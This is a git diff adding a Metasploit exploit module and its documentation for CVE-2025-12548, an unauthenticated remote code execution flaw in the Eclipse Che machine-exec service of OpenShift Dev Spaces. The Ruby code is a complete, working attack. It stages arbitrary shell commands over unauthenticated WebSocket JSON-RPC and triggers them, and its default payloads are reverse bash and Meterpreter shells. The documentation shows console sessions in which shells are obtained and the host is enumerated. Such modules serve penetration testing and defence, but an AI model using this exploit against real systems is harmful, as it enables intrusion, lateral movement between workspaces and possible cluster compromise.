diff --git a/documentation/modules/exploit/linux/http/eclipse_che_machine_exec_rce.md b/documentation/modules/exploit/linux/http/eclipse_che_machine_exec_rce.md new file mode 100644 index 0000000000000..9896a558244e8 --- /dev/null +++ b/documentation/modules/exploit/linux/http/eclipse_che_machine_exec_rce.md @@ -0,0 +1,119 @@ +## Vulnerable Application + +This module exploits an unauthenticated remote code execution vulnerability (CVE-2025-12548) in the Eclipse Che +machine-exec service. The machine-exec service, exposed on port 3333 within Red Hat OpenShift DevSpaces developer +workspace containers, accepts WebSocket connections without authentication. + +An attacker can connect to the machine-exec service and execute arbitrary commands via JSON-RPC over WebSocket. +This allows lateral movement between workspaces and potential cluster compromise. + +Affected versions: Red Hat OpenShift Dev Spaces prior to patches RHSA-2025:22620, RHSA-2025:22652, RHSA-2025:22623. + +## Verification Steps + +1. Start `msfconsole` +2. `use exploit/linux/http/eclipse_che_machine_exec_rce` +3. `set RHOSTS ` +4. `set LHOST ` +5. `check` +6. `exploit` +7. Verify you get a shell session + +## Options + +### TARGETURI +Base path to the machine-exec service. Default: `/` + +### WS_TIMEOUT +Timeout for WebSocket operations in seconds. Default: `10` + +## Scenarios + +### Red Hat OpenShift DevSpaces (cmd/unix/reverse_bash) + +``` +msf6 > use exploit/linux/http/eclipse_che_machine_exec_rce +[*] Using configured payload cmd/unix/reverse_bash +msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set RHOSTS 192.168.1.10 +RHOSTS => 192.168.1.10 +msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set LHOST 192.168.1.10 +LHOST => 192.168.1.10 +msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > check +[+] 192.168.1.10:3333 - The target is vulnerable. machine-exec service accepts unauthenticated connections +msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > exploit +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. machine-exec service accepts unauthenticated connections +[*] Connecting to machine-exec service... +[+] Connected to machine-exec service +[*] Staging payload via JSON-RPC create method... +[+] Command staged with process ID: 2 +[*] Triggering execution via /attach/2... +[+] Payload triggered! +[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:47578) at 2025-12-30 19:46:55 +0000 + +whoami +user +``` + +### Red Hat OpenShift DevSpaces (linux/x64/meterpreter/reverse_tcp) + +``` +msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set TARGET 1 +TARGET => 1 +msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +PAYLOAD => linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set RHOSTS 192.168.1.10 +RHOSTS => 192.168.1.10 +msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set LHOST 192.168.1.10 +LHOST => 192.168.1.10 +msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > run +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. machine-exec service accepts unauthenticated connections +[*] Connecting to machine-exec service... +[+] Connected to machine-exec service +[*] Staging payload via JSON-RPC create method... +[+] Command staged with process ID: 1 +[*] Triggering execution via /attach/1... +[+] Payload triggered! +[*] Sending stage (3090404 bytes) to 127.0.0.1 +[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:41234) at 2025-12-31 15:21:40 +0000 + +meterpreter > sysinfo +Computer : 10.244.0.15 +OS : Red Hat Enterprise Linux 9 (Linux 5.14.0-570.45.1.el9_6.x86_64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: user +meterpreter > pwd +/projects +meterpreter > shell +Process 672 created. +Channel 1 created. +cat /etc/os-release +NAME="Red Hat Enterprise Linux" +VERSION="9.6 (Plow)" +ID="rhel" +ID_LIKE="fedora" +VERSION_ID="9.6" +PLATFORM_ID="platform:el9" +PRETTY_NAME="Red Hat Enterprise Linux 9.6 (Plow)" +ANSI_COLOR="0;31" +LOGO="fedora-logo-icon" +CPE_NAME="cpe:/o:redhat:enterprise_linux:9::baseos" +HOME_URL="https://www.redhat.com/" +DOCUMENTATION_URL="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/9" +BUG_REPORT_URL="https://issues.redhat.com/" + +REDHAT_BUGZILLA_PRODUCT="Red Hat Enterprise Linux 9" +REDHAT_BUGZILLA_PRODUCT_VERSION=9.6 +REDHAT_SUPPORT_PRODUCT="Red Hat Enterprise Linux" +REDHAT_SUPPORT_PRODUCT_VERSION="9.6" +uname -a +Linux workspace1a2b3c4d5e6f7890-abc123def4-xyzpq 5.14.0-570.45.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Sep 13 01:15:12 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux +exit +meterpreter > +``` diff --git a/modules/exploits/linux/http/eclipse_che_machine_exec_rce.rb b/modules/exploits/linux/http/eclipse_che_machine_exec_rce.rb new file mode 100644 index 0000000000000..8635a631599b5 --- /dev/null +++ b/modules/exploits/linux/http/eclipse_che_machine_exec_rce.rb @@ -0,0 +1,269 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Rex::Proto::Http::WebSocket + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Eclipse Che machine-exec Unauthenticated RCE', + 'Description' => %q{ + This module exploits an unauthenticated remote code execution vulnerability + in the Eclipse Che machine-exec service (CVE-2025-12548). The machine-exec + service, exposed on port 3333 within Red Hat OpenShift DevSpaces developer + workspace containers, accepts WebSocket connections without authentication. + + An attacker can connect to the machine-exec service and execute arbitrary + commands via JSON-RPC over WebSocket. This allows lateral movement between + workspaces and potential cluster compromise. + + The vulnerability affects Red Hat OpenShift DevSpaces environments where + the machine-exec service is network-accessible. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Richard Leach', # Vulnerability discovery + 'Greg Durys ' # PoC and Metasploit module + ], + 'References' => [ + ['CVE', '2025-12548'], + ['URL', 'https://access.redhat.com/security/cve/cve-2025-12548'], + ['URL', 'https://github.com/eclipse-che/che-machine-exec'] + ], + 'DisclosureDate' => '2025-12-01', + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_AARCH64], + 'Privileged' => false, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ], + [ + 'Linux Dropper (x64)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X64, + 'Type' => :linux_dropper, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' + } + } + ], + [ + 'Linux Dropper (aarch64)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_AARCH64, + 'Type' => :linux_dropper, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 3333, + 'WfsDelay' => 10 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'Base path to machine-exec service', '/']), + OptInt.new('WS_TIMEOUT', [true, 'Timeout for WebSocket operations (seconds)', 10]) + ]) + end + + # Safely close a WebSocket connection, ignoring any errors + def safe_wsclose(wsock) + wsock&.wsclose + rescue StandardError + nil + end + + # Connect to WebSocket and return socket plus any leftover data from HTTP response. + # The machine-exec server sends the hello message immediately after the upgrade, + # which gets absorbed into the HTTP response body during parsing. + def connect_ws_with_leftover(uri) + ws_key = Rex::Text.encode_base64(SecureRandom.bytes(16)) + + http_client = connect({ 'uri' => uri }) + raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Failed to connect') if http_client.nil? + + req = http_client.request_raw({ + 'uri' => uri, + 'headers' => { + 'Connection' => 'Upgrade', + 'Upgrade' => 'websocket', + 'Sec-WebSocket-Version' => '13', + 'Sec-WebSocket-Key' => ws_key + } + }) + + http_client.send_request(req) + res = http_client.read_response(datastore['WS_TIMEOUT']) + + unless res&.code == 101 + http_client.close + raise Rex::Proto::Http::WebSocket::ConnectionError.new(http_response: res) + end + + # WebSocket GUID (see: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-WebSocket-Accept) + accept_key = Rex::Text.encode_base64(OpenSSL::Digest::SHA1.digest(ws_key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')) + unless res.headers['Sec-WebSocket-Accept'] == accept_key + http_client.close + raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Invalid Sec-WebSocket-Accept header', http_response: res) + end + + socket = http_client.conn + socket.extend(Rex::Proto::Http::WebSocket::Interface) + + # Return any data absorbed into the HTTP response body (the hello frame) + [socket, res.body.to_s] + end + + # Parse a WebSocket frame from raw data + def parse_ws_frame(data) + return nil if data.nil? || data.empty? + + frame = Rex::Proto::Http::WebSocket::Frame.new + frame.read(data) + frame.unmask! if frame.header.masked == 1 + frame.payload_data.to_s + end + + def check + begin + wsock, leftover = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect')) + rescue Rex::Proto::Http::WebSocket::ConnectionError => e + return CheckCode::Unknown("WebSocket connection failed: #{e.message}") + end + + data = parse_ws_frame(leftover) + if data.nil? + safe_wsclose(wsock) + return CheckCode::Unknown('No hello message received from service') + end + + begin + json = JSON.parse(data) + if json['method'] == 'connected' && json.dig('params', 'tunnel') + safe_wsclose(wsock) + return CheckCode::Vulnerable('machine-exec service accepts unauthenticated connections') + end + rescue JSON::ParserError + nil + end + + safe_wsclose(wsock) + CheckCode::Safe('Service did not respond as expected') + end + + def exploit + case target['Type'] + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager + end + end + + def execute_command(cmd, _opts = {}) + print_status('Connecting to machine-exec service...') + + begin + wsock, leftover = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect')) + rescue Rex::Proto::Http::WebSocket::ConnectionError => e + fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}") + end + + print_good('Connected to machine-exec service') + + data = parse_ws_frame(leftover) + if data.nil? + safe_wsclose(wsock) + fail_with(Failure::UnexpectedReply, 'No hello message received') + end + vprint_status("Received hello: #{data}") + + print_status('Staging payload via JSON-RPC create method...') + + create_request = { + 'jsonrpc' => '2.0', + 'method' => 'create', + 'params' => { + 'cmd' => ['sh', '-c', cmd], + 'type' => 'process' + }, + 'id' => 1 + } + + wsock.put_wstext(create_request.to_json) + + frame = begin + ::Timeout.timeout(datastore['WS_TIMEOUT']) { wsock.get_wsframe } + rescue ::Timeout::Error + nil + end + + if frame.nil? + safe_wsclose(wsock) + fail_with(Failure::UnexpectedReply, 'No response to create request') + end + + frame.unmask! if frame.header.masked == 1 + response_data = frame.payload_data.to_s + + begin + response = JSON.parse(response_data) + process_id = response['result'] + if process_id.nil? + error_msg = response.dig('error', 'message') || 'Unknown error' + safe_wsclose(wsock) + fail_with(Failure::UnexpectedReply, "Failed to stage command: #{error_msg}") + end + print_good("Command staged with process ID: #{process_id}") + rescue JSON::ParserError + safe_wsclose(wsock) + fail_with(Failure::UnexpectedReply, 'Invalid JSON response') + end + + safe_wsclose(wsock) + + print_status("Triggering execution via /attach/#{process_id}...") + + begin + wsock_attach = connect_ws({ + 'uri' => normalize_uri(target_uri.path, 'attach', process_id.to_s) + }) + print_good('Payload triggered!') + rescue Rex::Proto::Http::WebSocket::ConnectionError => e + fail_with(Failure::UnexpectedReply, "Failed to trigger execution: #{e.message}") + end + + safe_wsclose(wsock_attach) + end +end